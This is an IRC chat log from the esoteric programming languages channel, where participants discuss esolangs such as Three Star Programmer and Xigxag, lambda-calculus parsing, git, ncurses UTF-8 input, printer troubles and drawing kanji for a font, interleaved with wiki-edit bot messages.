06:26:31 <hppavilion[1]> I think that #esoteric is close to going to war with ISIS. I can imagine the Michael Bay movie about us now...
06:26:39 <lifthrasiir> hppavilion[1]: seems that there were shootings *and* explosions.
06:26:52 <hppavilion[1]> lifthrasiir: Ah. Bombs with guns attached to them?
06:28:29 <lifthrasiir> hppavilion[1]: three shootings (one involving hostage scenario) and one explosion (suicide bombing).
06:29:27 <HackEgo> [wiki] [[Probabilistic combinatory logic]] http://esolangs.org/w/index.php?diff=45377&oldid=45376 * Hppavilion1 * (+147) Changed ? to τ because τυχαίος
06:30:10 <lifthrasiir> about 9 hours passed since then, so not really surprising
06:30:26 <FireFly> Wikipedia are usually pretty quick with getting information going for current events
06:30:54 <FireFly> Unfortunatey I usually forget it when thinking of good news sources
06:31:43 <FireFly> Already 54 citations for the article
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06:35:44 <hppavilion[1]> I can't believe I didn't think of this yet: "lifthrasiir is going to esohell." Purely comically, of course.
06:36:11 <hppavilion[1]> (Also, Esohell is really the same as Esonirvana, because why not? (that's a formal logic term))
06:38:24 <oerjan> <hppavilion[1]> lifthrasiir: That is perhaps in bad taste, depending on exactly what went down in paris <-- it doesn't help that my intuitive reaction to the comment was to make an inspector clouseau joke
06:41:11 * oerjan is getting a bit annoyed at github inserting history cruft commits that are essentially nops but still end up in pull requests
06:42:38 <oerjan> FireFly: when i update my repository to edwardk's latest changes it gives a commit in my repository, which is still listed when i send a pull request _back_ (and this prevented me from making it a single-commit one so i had to cut and paste the description between windows)
06:43:03 <FireFly> Ah.. yes, that's a bit annoying
06:43:05 <oerjan> also, it was ridiculously complicated to separate out that one commit because i already had a pull request ourstanding
06:43:35 <FireFly> I think you can do something to work around that by stashing, pulling and rebasing, but my git-fu isn't very strong
06:44:02 <oerjan> well, i'm seriously trying to avoid the cli as much as possible, but i had to use cherry-pick
06:44:06 <FireFly> to avoid pointless merge commits I mean
06:44:27 <FireFly> Ah, I've only used command-line git
06:44:50 <oerjan> the things i'm doing _shouldn't_ be hard enough to require the cli...
06:47:17 <oerjan> hm this was one of the things darcs was supposed to be good at, no? treating commits individually?
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07:47:23 <\oren\> shit. I was 7 when the war started and it's still not over.
07:50:19 <\oren\> the general "war on terror"
07:50:46 <hppavilion[1]> I don't think I'd been born when it started; if I had, I wasn't sentient at the time
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07:55:38 <\oren\> hmm, you can get in the army in some countries at 16. Therefore someone might be fighting the terrorists who was 2 when the war began
07:56:48 <\oren\> Forget the promise of progress and understanding, for in the grim dark future there is only war. There is no peace amongst the stars, only an eternity of carnage and slaughter, and the laughter of thirsting gods
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08:06:49 <hppavilion[1]> \oren\: There are people fighting /with/ the terrorists who were 2 when the war began. Or younger. Or not even born yet.
08:13:20 <Jafet> The major general war on terror
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08:28:25 <\oren\> Jafet: just call it "the war", i mean it's the only war my country is actively involved in
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08:30:55 <oerjan> hppavilion[1]: like this one, you mean? https://www.youtube.com/watch?v=Nvs5pqf-DMA
08:32:43 <\oren\> In the grim dark future, even the rabbits are blood-soaked engines of war.
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11:30:11 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45378&oldid=44908 * Luis Mendo * (+99)
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11:33:02 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45379&oldid=45378 * Luis Mendo * (+71)
11:37:22 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45380&oldid=45379 * Luis Mendo * (+2)
11:37:47 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45381&oldid=45380 * Luis Mendo * (+7)
11:38:54 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45382&oldid=45381 * Luis Mendo * (+2)
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12:22:18 <mroman> I'm no expert but am I the only one that thinks that those "number arguments" in date-onomics are a bit weird.
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12:22:33 <mroman> Granted, there apparentely are more female grads than male grads
12:22:56 <mroman> Which means that if you restrict dating to the same education level than you have a problem as a female
12:23:09 <mroman> however, overall there are more men than women in general.
12:23:29 <mroman> and since some of those women are stuck searching in that 4:3 ratio restricted to the same education level
12:23:47 <mroman> that would imply that the dating game for men without a high education level just got harder
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12:23:53 <lambdabot> oerjan said 10h 51m 12s ago: <mroman> except for syntax is what the lexer uses, grammar is what the parser uses <-- that sounds to me like almost the exact opposite of the natural language meaning
12:23:53 <lambdabot> oerjan said 10h 50m 34s ago: because there, syntax is how you place words, but _not_ how words are composed.
12:25:31 <ais523> I'd call what a lexer uses/does "tokenization" and say that syntax and grammar are both parser things
12:26:19 <Taneb> I agree with ais523 on this one
12:26:57 <ais523> if called on the difference between syntax and grammar, I'd say that a grammar is a specification of a syntax
12:27:18 <mroman> I'd say it depends on in which field you're working.
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16:18:55 <\oren\> which kanji should I draw today?
16:20:28 <b_jonas> \oren\: still the vertical version of the long vowel sign, and those strange repeat signs you don't have yet
16:22:16 <b_jonas> but definitely the vertical long vowel sign
16:23:35 <\oren\> Oh, apparently I have ゝゞ but didn't add them. I don't have 〱〲 though, and I couldn't find the vertical long vowel sign
16:24:25 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45383&oldid=45382 * Luis Mendo * (+700)
16:24:47 <b_jonas> \oren\: shouldn't that be a variant glyph for the normal long vowel sign, marked such that the font engine or layout engine automatically chooses that variant glyph for vertical text?
16:25:49 <b_jonas> \oren\: also, halfwidth korean syllables
16:30:31 <boily> \oren\: could you please add 肺、管、腹、膵、臓、脾 and 爪?
16:30:56 <boily> olsner: hellolsner. do you agree with https://youtu.be/GaGIFtJtuTY ?
16:31:35 <olsner> I've never tried surströmming
16:33:29 <boily> I can't find a can here :(
16:34:11 <olsner> but these people seem to know what they're doing
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16:40:42 <boily> sinetellok. I haven't seem to have had been asked you the The Question: what are your approximate geographic coördinates and body weigh?
16:41:43 <ais523> wait, The Question still exists? it's not a very good question :-(
16:42:15 <boily> his523. it should be improved.
16:43:20 <b_jonas> Question. If I want to write an eye dialect representing a child who can't yet pronounce "k" and "g" and so pronounces something close to "t" and "d" instead, then I should represent those letters with a "t" or "d" with what accent? A caron, a comma below, a circumflex?
16:44:55 <ais523> it's sort-of the opposite of a cedilla
16:45:26 <boily> what is an eye dialect?
16:46:04 <b_jonas> boily: eye dialect is nonstandard spelling representing the accent of the speaker
16:46:41 <b_jonas> boily: eg. Hagrid talks with an eye dialect in Harry Potter, and so does the dwarf Dwalin in Irregular Webcomic!
16:47:03 <b_jonas> As well as Belkar in OoTS, except that he also writes that way in that joke.
16:51:18 <boily> I was leaning towards a haček, prime or comma below.
16:51:47 <b_jonas> hacek is the same as caron, right?
16:53:55 <boily> macron is the bar, caron is haček.
16:54:11 <boily> so much diacriticonfusion. I am ashamed.
16:54:43 <b_jonas> macron makes sense, it marks long vowels, whereas brevis (breve) marks short vowels. originally.
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17:02:24 <b_jonas> there's also diaresis = trema = umlaut.
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17:04:30 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45384&oldid=45383 * Luis Mendo * (+1284)
17:05:55 <fizzie> And "fly droppings" is a general term for all of them hth
17:10:06 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45385&oldid=45384 * Luis Mendo * (+33)
17:10:48 <int-e> stand still, stay silent sure takes its time to get started...
17:15:27 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45386&oldid=45385 * Luis Mendo * (+42)
17:19:59 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45387&oldid=45386 * Luis Mendo * (-217)
17:22:31 <fizzie> Are you reading the archives or something?
17:24:32 <fizzie> I like the bits that are in Finnish here and there.
17:24:58 <fizzie> (Insert TV Tropes 'Bilingual Bonus' link here.)
17:25:12 * ais523 is disappointed that there haven't been further edits on Three Star Programmer or its talk page
17:25:17 <ais523> I was quite proud of that language
17:25:29 <ais523> oh well, I guess I'll have to wait for Keymaker to notice it, it seems like eir sort of language
17:25:36 <b_jonas> what... is this a new language?
17:26:22 <ais523> as of a couple of days ago
17:26:26 <ais523> [[e:Three_Star_Programmer]
17:26:29 <ais523> http://esolangs.org/wiki/Three_Star_Programmer
17:26:34 <ais523> would help if I got my trigger right
17:30:46 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45388&oldid=45387 * Luis Mendo * (+30)
17:32:25 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45389&oldid=45388 * Luis Mendo * (-2) /* Specification */
17:32:54 <b_jonas> ais523: um, when you ask whether that language is Turing-complete, what are the observables or outputs of that langauge? programs never halt. do you mean with the output extension you describe?
17:33:59 <ais523> b_jonas: I'm using a loose #esoteric definition along the lines of "given any program in a Turing-equivalent language, you can write a program in «language» that runs in 'the same way' in some easily demonstrable sense"
17:35:27 <b_jonas> ais523: right, but that kind of stuff can lead to strange things when you start to make more and more complicated isomorphisms, and eventually the isomorphism itself will run your program
17:35:42 <b_jonas> so it might be better to have a clear halt criterion
17:35:43 <ais523> this is one of the main objections against my 2,3 machine proof
17:36:00 <b_jonas> sure, it's the problem with lots of such proofs
17:36:05 <ais523> although that one does have a clear halt criterion, at least; I found a construction with a semi-infinite tape, where in the halt state it falls off the end
17:36:49 <b_jonas> also, you need some limits on what's allowed when you translate the program.
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18:02:57 <quintopia> oerjan: how do you feel about CHIQRSX9+ being used in code golf competitions? (In particular, in the seven competitions it has a good chance of winning.)
18:05:41 <ais523> quintopia: I think it also has a decent chance at "make an interpreter for a Turing-complete language"
18:06:04 <ais523> it'd also do well in an accumulator-incrementing competition, but would at least draw with brainfuck
18:06:29 <ais523> wait, no, X doesn't work like that
18:06:33 <ais523> it just makes the language TC in a nonspecified way
18:08:14 <ais523> b_jonas: any opinions on how the infinite Four Horsemen ruling affects TC M:tG games?
18:08:40 <ais523> actually it probably doesn't, unless randomness is involevd
18:09:00 <b_jonas> ais523: what is that ruling?
18:09:44 <ais523> b_jonas: that with any infinite loop, you have to be able to specify the number of iterations it takes and the expected end state, or you can't continue going round it
18:10:22 <ais523> this Reddit thread contains good discussion, and the story it links to complains and quotes the rule itself: https://www.reddit.com/r/magicTCG/comments/11k00n/id_like_to_make_awareness_of_a_stupid_ruling_that/
18:10:55 <ais523> in this case you can't specify the number of iterations and the expected end state, assuming you're simulating an unsolved problem
18:11:02 <ais523> but you also can't do anything else
18:13:30 <b_jonas> ais523: um, isn't that ruling about tournament rules (avoiding slow play) rather than comprehensive rules? I might be misunderstanding it
18:13:38 <ais523> b_jonas: yes, tournament rules
18:15:11 <b_jonas> If it's about tournament rules, then it can't affect turing-completeness in the sense we were talking about, because clearly setting up a full computational device isn't possible in a tournament anyway, and I already knew that.
18:16:05 <quintopia> ais523: How do you feel about it? Should it be forbidden? (Though I really want to know how oerjan feels about it, since it's his.)
18:16:59 <ais523> quintopia: well PCCG stack exchange has a rule that the language has to have a certain amount of power, and the usual test is being able to implement one specific program (something to do with printing primes, I think?) withotu cheating
18:17:16 <ais523> I don't think CHIQRSX9+ can handle that deterministically, with the standard definition of X
18:17:32 <ais523> although I guess X makes it TC by definition, so it should count
18:17:46 <b_jonas> ais523: being turing complete might not be enough
18:17:56 <b_jonas> for the golf SE rulings that is]
18:18:16 <ais523> yes, their definition is intentionally designed to allow relatively powerful sub-TC languages
18:18:24 <ais523> but may accidentally disallow some TC languages as a result
18:19:26 <b_jonas> ais523: that might not be an accident
18:19:55 <b_jonas> if it's the kind of TC language where you need a stellar size program to print anything useful with high probability, then they could disallow it
18:20:11 <b_jonas> like, a TC esolang that is designed to be almost impossible to program,
18:20:19 <b_jonas> and not just to the level Malbolge does it, but more
18:20:21 <ais523> something like http://esolangs.org/wiki/DownRight is probably disallowed due to not having any form of IO and programs typically being very large
18:20:41 <ais523> b_jonas: Three Star Programmer? :-P, although that's more just impossible to think about
18:21:19 <b_jonas> I don't know, I don't think three-star programmer is like that
18:21:46 <ais523> have you tried to write a program in it?
18:21:49 <ais523> I have, I didn't get anywhere
18:21:55 <b_jonas> no, but I also don't know if it's turing complete
18:22:02 <ais523> it's like, normally when you're writing a program
18:22:12 <ais523> you start off by defining how or where you're going to store the various bits of data
18:22:18 <ais523> three star programmer just completely defies tha
18:22:21 <b_jonas> if you figure out that it's turing complete, you can probably also write programs in it that are only a few times as much verbose as brainfuck or something
18:22:36 <b_jonas> unless it has obstructions regarding to what IO you can do
18:22:40 <ais523> you /have/ to keep moving your data around during the life of the program, and yet you also /have/ to use hardcoded cells
18:23:20 <b_jonas> ais523: yes, it sounds difficult, but not in the sense of difficult _after_ you prove it turing complete
18:23:37 <b_jonas> but difficult in the sense of how Malbolbe was difficult before people figured out how to write programs for it easily
18:23:40 <ais523> well yes, but the proof would presumably be constructive
18:23:45 <ais523> I don't think it's as hard as Malbolge
18:23:56 <ais523> I do, however, find it hard to think about
18:23:57 <b_jonas> I'm not sure it's TC though
18:24:03 <ais523> (Malbolge is easy to think about, just makes it hard to do things)
18:24:05 <b_jonas> right, that makes it a good esolang
18:24:13 <ais523> I'm not sure it's TC either, though, but it hits all the normal notes to make a language TC
18:24:16 <b_jonas> makes Three Star Programmer a good esolang
18:24:30 <ais523> I'm much more confident that 3* is TC than, say, Xigxag
18:24:40 <ais523> (which is my go-to language for "almost certainly not TC but it's very hard to prove that")
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18:24:52 <b_jonas> Xigxag... I have to read this one
18:25:06 <ais523> http://esolangs.org/wiki/Xigxag
18:26:07 <b_jonas> Xigxag sounds like bitwise cyclic tag, only worse
18:26:10 <ais523> Phantom_Hoover: http://esolangs.org/wiki/Three_Star_Programmer
18:26:20 <ais523> b_jonas: nah, it's more like self BCT but ten times less powerful
18:26:49 <b_jonas> plus it needs a stop criterion
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18:30:34 <boily> weird. upgraded firefox (and ubuntu incidentally) on my laptop, and now it freezes after a few seconds...
18:31:03 <ais523> firefox, or the entire laptop?
18:31:10 <ais523> either way, it sounds like a bug related to the upgrade
18:31:53 <boily> and now my keyboard layout is US, for no apparent reason.
18:31:59 <boily> what the fungot is going on...
18:32:17 <fungot> ais523: or the law does. :-p heh, i drew this stuff, base-10 addition is harder than it needs to
18:32:25 <ais523> oh, you must have hit the rate limiter
18:33:16 <boily> let's reboot and hope for the best...
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18:34:15 <b_jonas> ais523: Xigxag also sort of reminds me to http://esolangs.org/wiki/McCulloch's_second_machine because that one can also sort of copy stuff from the left of the string or the right of the string, although I don't think they're really similar.
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18:38:39 <boily> still happening. much joy.
18:40:55 <boily> (firefox:6603): GStreamer-WARNING **: External plugin loader failed.
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18:55:24 <boily> swapped the flash plugin from 'flashplugin-installer' to the pepper one. seems to have fixed the problem.
18:56:01 <boily> talked too fast. still freezes. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGHGHGHGHGHGH.
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19:09:40 <\oren\> just get a second computer and run flash on thst
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21:50:37 <zzo38> Can you tell me why it still does not print?
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22:07:42 <\oren\> zzo38: what doesn't print?
22:10:58 <zzo38> \oren\: I used the command: dvipbm -E fontfinder < texput.dvi | foo2zjs -z2 | lp but it will not print. It add into the print queue, it looks like a valid PJL and ZjStream, and the printer is HP Laserjet P1102w and is recognized by the computer.
22:11:11 <zzo38> But, it will not print; the lights don't blink or anything else like that.
22:11:37 <zzo38> (The output of dvipbm is also valid; I checked that too.)
22:11:53 <hppavilion[1]> I /think/ it is, but it isn't working with my parser.
22:12:09 <hppavilion[1]> Can anyone confirm that I'm the one who screwed up?
22:16:22 <ais523> hppavilion[1]: err, the first y doesn't refer to any of your lambdas; it's "valid" if you allow scope and if you allow that to be an open term (i.e. to have un-lambda's variables)
22:16:25 <ais523> but it's not a closed term
22:16:43 <ais523> > \x -> (\x -> x y) (\y -> x y)
22:16:45 <lambdabot> arising from a use of ‘show_M539493718582421214228727’
22:16:52 <ais523> oh right, lambdabot has y pre-defined
22:16:55 <ais523> :t \x -> (\x -> x y) (\y -> x y)
22:16:56 <hppavilion[1]> ais523: I just need to know if it's syntactically valid for my parser
22:17:04 <ais523> hppavilion[1]: that depends on what language you're parsing
22:17:08 <ais523> "lambda-calculus" is too general
22:17:35 <hppavilion[1]> ais523: Traditional λ-calculus (with some assignment, though that's not yet relevant)
22:17:53 <ais523> hppavilion[1]: in that case it's a valid open term but not a valid closed term
22:17:56 <ais523> which are you parsing?
22:19:00 <hppavilion[1]> I'm just following the three rules for Lambda terms Wiki gives me
22:19:25 <hppavilion[1]> https://en.wikipedia.org/wiki/Lambda_calculus#Lambda_terms
22:20:10 <hppavilion[1]> Open terms, I think? If you're referring to the fact that there's an unbound "y" in there then open terms
22:20:12 <ais523> OK, it's valid under those rules
22:20:22 <ais523> and yes, open terms are terms that contain free (=unbound) variables
22:23:09 <hppavilion[1]> It doesn't crash, but it doesn't parse the second part of the application (λy.xy)
22:23:26 <hppavilion[1]> I get the same thing I would get if parsing λx.(λx.xy)
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22:35:32 <hppavilion[1]> OK, it's working better now. Still not perfect, I'm sure, but improved
22:36:20 <boily> after some voodoo incantations, beta Firefox 43 may work...
22:36:50 <hppavilion[1]> OK, temporary bug, but λx.G(λx.xy)(λy.xy) is different from λx.(G)(λx.xy)(λy.xy)
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22:43:57 <zzo38> Do you know how to do printing on Ubuntu?
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22:47:59 <zzo38> I used to get all light blinking when trying to print a PCL file, but now it does nothing regardless of the format, and usb_printerid doesn't work anymore either.
22:51:57 <zzo38> usb_printerid used to work but now it doesn't work.
23:09:22 <zzo38> At least that works now, but now I just get the lights blinking again even with ZjStream format
23:25:49 <hppavilion[1]> It can parse S(BBS)(KK) properly, so it should be working
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23:54:24 <izabera> is anyone here a (n)curses expert? i just need to read a utf8 character
23:58:49 <fizzie> Remember to setlocale(LC_ALL, ""); is all I can say.
00:01:29 <fizzie> (There's also ncursesw.)
00:03:47 <fizzie> (Just to clarify, those were not alternatives. I know you have to initialize the locale in any case; I'm less sure about whether you can get by with non-w ncurses in an UTF-8 locale or not.)
00:04:26 <izabera> i used -lncursesw and setlocale but getch() still splits è
00:05:18 <fizzie> That's because the corresponding wide-character function is get_wch.
00:06:19 <fizzie> The naming is ridiculous, because 'w' is both for wide and 'window', and I don't think it's not entirely consistent throughout.
00:06:37 <fizzie> Although generally 'w' as the first letter of a function name is probably for 'window'.
00:07:00 <izabera> yeah fizzie i noted that wgetch is totally not what i wanted <.<
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00:24:31 <Taneb> I'm on a post-birthday book buying spree
00:24:39 <Taneb> Any recomendations?
00:30:06 <izabera> what kind of books are you buying?
00:31:25 <\oren\> Man and the Computer by John Diebold
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00:35:30 <\oren\> Man and the Computer is great because it offers a perspective on the infancy of Computer Science, written in 1969.
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00:59:33 <zzo38> Do you know how to set the margins properly when printing a PBM file with CUPS?
01:00:23 <zzo38> It turns out I needed to send the PBM file directly to lp/lpr rather than sending the ZjStream file.
01:30:24 <zzo38> I got it to work now
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01:49:46 <\oren\> wow japanese people really dont give a shit about political correctness
01:49:50 <\oren\> http://www.bbc.com/news/blogs-trending-34460325
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01:59:14 <izabera> but why did they change the background
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02:17:22 * boily lightly mapoles fungot
02:17:22 <fungot> boily: your snapshot seems to work in an interpreter
02:17:55 <boily> fungot: my snapshot works, but I'm afraid it's only a temporary solution to a poissonny problem.
02:17:55 <fungot> boily: is busser your last name by any chance
02:18:05 <boily> fungot: no, it's Boily.
02:18:05 <fungot> boily: all the ( )s i had carelessly written in evaluated positions.
02:18:19 <boily> fungot: you like to parethesise dangerously.
02:18:19 <fungot> boily: 1.5. it might not.) well, normally it varies slightly more detail.
02:18:48 * boily *THWACKS* fungot. “BALANCE YOUR PARENTHESES!”
02:19:27 <boily> fungot: it's something to do it recklessly, but you may never unbalance them! it's uncouth, and may break the Universe!
02:20:06 <izabera> hey fizzie are you around? thanks for the help, but i'm having problems with get_wch + iswprint
02:20:38 <izabera> when i press backspace, get_wch reads 263 and iswprint(263) is true
02:20:41 * boily glares at pikhq... ”just you wait, you miserable miscreant!”
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02:26:41 <boily> \oren\: don't be surprised if the clouds part open and your computer is struck by a Divine Curly Brace of Balance Retribution.
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03:21:56 <FireFly> I'm more of a blessings person
03:22:50 <shachaf> HireFly is pretty fun to say.
03:23:18 <FireFly> Jokes aside, another alternative is libtickit.. I haven't used it, but knowing the author of it a bit I think one could expect it to be pretty decent, at least on the terminal communications side of things
03:23:43 <FireFly> shachaf: HireFly is also pretty good advice to companies imo
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04:06:03 <nchambers> FireFly: stahp channel stalking me
04:06:34 <FireFly> I didn't even realise you're in here :p
04:06:35 <nchambers> you're like in most of the channels I'm in
04:06:45 <HackEgo> nchambers: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
04:07:19 <FireFly> I've been here on-and-off awhile
04:11:26 <shachaf> i was hoping that would be a channel for discussing political economy
04:11:44 <shachaf> mark twain wrote about political economy
04:11:49 <shachaf> http://www.twainquotes.com/Galaxy/187009a.html
04:12:22 <adu> how is shachaf pronounced?
04:12:49 * adu doesn't know
04:13:20 <shachaf> @google shachaf pronunciation
04:13:21 <lambdabot> Title: Shachaf pronunciation: How to pronounce Shachaf in Hebrew
04:15:48 <adu> shachaf: I still don't know how to pronounce that, even after hearing it, so I'm going to call you "Seagull"
04:16:05 <shachaf> You don't need to pronounce my name to type it.
04:16:19 <adu> I need to pronounce it to think it
04:16:28 <adu> and I need to think it to type it
04:16:48 <adu> but you're right, I could just do s<tab>
04:18:17 <adu> https://en.wikipedia.org/wiki/Shahaf
04:18:36 <adu> it's a nice name
04:21:51 <Jafet> It's one of the fun 'uns.
04:23:54 <shachaf> Jafet: sha 'haf makes no sense hth
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04:42:54 <\oren\> shakhaf is the least misunderstandable spelling
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05:24:09 <oerjan> argh windows rebooted without my permission and lost all my tabs
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07:19:00 <oerjan> hm my computer claims it has no network access
07:19:58 <shachaf> your computer is correct hth
07:25:54 <\oren\> you can probably find your tabs in your browser history
07:26:20 <\oren\> is Marine le Pen an aquatic rabbit?
07:28:02 <oerjan> \oren\: the problem is that all the ones i cared about had been open for days
07:28:35 <oerjan> i'll probably remember those i'm meant to.
07:28:39 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ÒKAÝ´: not found
07:29:01 <shachaf> i have tabs that have been open for months hth
07:29:17 <shachaf> i've moved my browser session between computers and between browsers
07:29:25 <shachaf> but i'll get to them any day now, i'm sure
07:29:29 <\oren\> I usually bookmark things and then close them
07:29:45 <\oren\> or download the page and look at it later
07:30:16 <oerjan> if i bookmark things, i never look at them again tdnh
07:30:18 <\oren\> I have two tabs open right now
07:30:57 <oerjan> anyway, when i keep a tab open it's frequently because i want to remember my precise place in it.
07:31:21 <shachaf> oerjan: also if i tab things
07:31:35 <HackEgo> [wiki] [[Special:Log/newusers]] create * SarahNathanson * New user account
07:31:35 <\oren\> Oh, right, those god damn autoscrolling websited
07:31:55 <\oren\> I have boycotted sites for doing that
07:32:39 <oerjan> actually mostly which comment in a thread i was reading...
07:33:09 <oerjan> the github browser won't start again after the reboot :(
07:35:29 <\oren\> what's a github browser?
07:35:41 <\oren\> did they fork googe chrome or something?
07:36:29 <oerjan> i assume it couldn't take windows hard killing it
07:36:46 <HackEgo> [wiki] [[EmojiCoder]] N http://esolangs.org/w/index.php?oldid=45390 * SarahNathanson * (+183) EmojiCoder is a language programmed in emojis
07:38:33 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45391&oldid=45390 * SarahNathanson * (+1678) added reference
07:38:41 <\oren\> oh. yeah when I used that, I had to keep reinstalling it
07:39:22 <\oren\> it gets itself into a garbled state and then I'm too lazy to figure out how to fix it
07:40:28 <\oren\> have you tried the command line git?
07:40:32 <HackEgo> [wiki] [[EmojiCoder]] M http://esolangs.org/w/index.php?diff=45392&oldid=45391 * SarahNathanson * (+31) /* Commands */ spacing
07:40:45 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45393&oldid=45392 * SarahNathanson * (+0) /* Modifers */
07:41:07 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45394&oldid=45393 * SarahNathanson * (+3) /* Parameters */
07:41:22 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45395&oldid=45394 * SarahNathanson * (+3) /* Variable Reference */
07:41:22 <oerjan> well i hate remembering heaps of cli options
07:41:28 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45396&oldid=45395 * SarahNathanson * (+1) /* Comments */
07:41:35 <oerjan> at least the shell started
07:42:27 <oerjan> ouch it claims .git is not a repository :(
07:42:35 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45397&oldid=45396 * SarahNathanson * (+23) formatting
07:43:03 <FireFly> I think you're supposed to be outside the .git directory, within the directory that contains .git
07:43:16 <oerjan> oh wait i'm in the wrong place
07:44:18 <shachaf> FireFly: that's why i ln -s .git .git hth
07:44:27 <oerjan> what kind of shit color scheme is this
07:45:08 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45398&oldid=45397 * SarahNathanson * (+746)
07:46:09 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45399&oldid=45398 * SarahNathanson * (-6) /* Examples */
07:46:58 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45400&oldid=45399 * SarahNathanson * (+52)
07:47:52 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45401&oldid=45400 * SarahNathanson * (-28)
07:48:57 <oerjan> i cannot read the important info because git insists on using dark red on dark blue
07:49:39 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45402&oldid=45401 * SarahNathanson * (+143)
07:50:51 <oerjan> ok time for that reinstall
07:52:33 <\oren\> oerjan: oh right that god damn color scheme
07:59:59 <oerjan> i think i'll assume i actually hav to reboot again ...
08:05:29 <oerjan> ok there i got it wiped out...
08:11:03 <oerjan> oh right it takes stupidly long to download
08:13:06 <oerjan> let's try something else.
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08:54:31 <oerjan> isn't it funny to love programming in the abstract, yet hate actual computers.
08:55:06 <oerjan> because, murphy's law + yak shaving
08:57:41 <\oren\> yah. I like coding but I hate a lot of other people
08:57:56 <oerjan> dammit, am i having disk trouble...
08:59:05 <oerjan> the surrounding windows desktop crashed...
08:59:55 <oerjan> it seems to be gradually coming back
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09:04:23 <oerjan> that screamed for yet another reboot, the desktop menu was blinking...
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09:42:48 <\oren\> ooh, I hope you have everything backed up
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15:02:33 <HackEgo> [wiki] [[EmojiCoder]] http://esolangs.org/w/index.php?diff=45403&oldid=45402 * 129.161.146.231 * (+96)
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15:11:12 <boily> `le/rn ENOSTRIL/Nose such file or directory
15:11:39 <boily> `rm wisdom/enostril
15:11:51 <boily> `` echo "Nose such file or directory" >wisdom/ENOSTRIL
15:26:58 <HackEgo> find: `wisdom/*stril*': No such file or directory \ /cat: : No such file or directory
15:27:16 <b_jonas> `wisdom [sS][tT][rR][iI][lL]
15:27:17 <HackEgo> find: `wisdom/*[sS][tT][rR][iI][lL]*': No such file or directory \ /cat: : No such file or directory
15:27:29 <HackEgo> ENOSTRIL/Nose such file or directory
16:17:21 <\oren\> that kanji has nine horizontal lines in it, and I have 16 pixels.
16:18:03 <\oren\> the white spaces between lines take up 8 pixels, so that kanji needs 17 pixels!!!?!!?
16:20:24 <int-e> \oren\: heh, http://int-e.eu/~bf3/tmp/9lines.png
16:21:36 <\oren\> ok that is surprisingly legible
16:21:59 <\oren\> I guess I'll squeeze two of the lines together
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16:43:04 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45404&oldid=45389 * Luis Mendo * (+320) /* Specification */
16:43:57 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45405&oldid=45404 * Luis Mendo * (+87) /* Specification */
16:45:17 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45406&oldid=45405 * Luis Mendo * (+106) /* Compiler */
16:45:42 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45407&oldid=45406 * Luis Mendo * (-7) /* Compiler */
16:47:00 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45408&oldid=45407 * Luis Mendo * (-1) /* Specification */
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16:50:52 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45409&oldid=45408 * Luis Mendo * (+26) /* Specification */
16:51:07 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45410&oldid=45409 * Luis Mendo * (+3) /* Specification */
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17:10:53 <izabera> did you know that errno must be thread local so &errno is a unique identifier for each thread?
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17:15:31 <b_jonas> izabera: although in reality it's a macro, not a thread-local variable
17:15:54 <b_jonas> becuase first class thread-local variables supported by the language (rather than by libc) are rather new technology
17:17:31 <b_jonas> a macro that usually expands to dereferencing a pointer returned by a call to a libc function, like *(__errno_location())
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18:04:38 <Taneb> Whoa, that's interesting
18:04:47 <Taneb> By which I mean the discussion that happened just under an hour ago
18:14:23 <quintopia> Taneb: can you give me a tab character please
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18:15:51 <Taneb> quintopia, I am afraid I cannot
18:15:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
18:16:40 <zzo38> You did sent tab characters
18:17:05 <\oren\> well it isn't showing as a tab in irssi
18:18:01 <Taneb> Isn't I symmetrical?
18:19:29 <zzo38> In this client it shows as black on purple (normal text (in a IRC long parameter) being blue on black)
18:19:33 <quintopia> I'm prettyt sure I have a tab on my clipboard now
18:20:04 <zzo38> What operating system are you using? Depending what it is there can be better way
18:21:17 <zzo38> In Linux you can use the xclip command. In Windows I expect you could go into Notepad and then push tab and copy to clipboard
18:23:29 <Taneb> Yes, that's how I got mine on Win7
18:23:35 <quintopia> yeah but I had only Notepad++ open and I have it set to give spaces instead of tabs :P
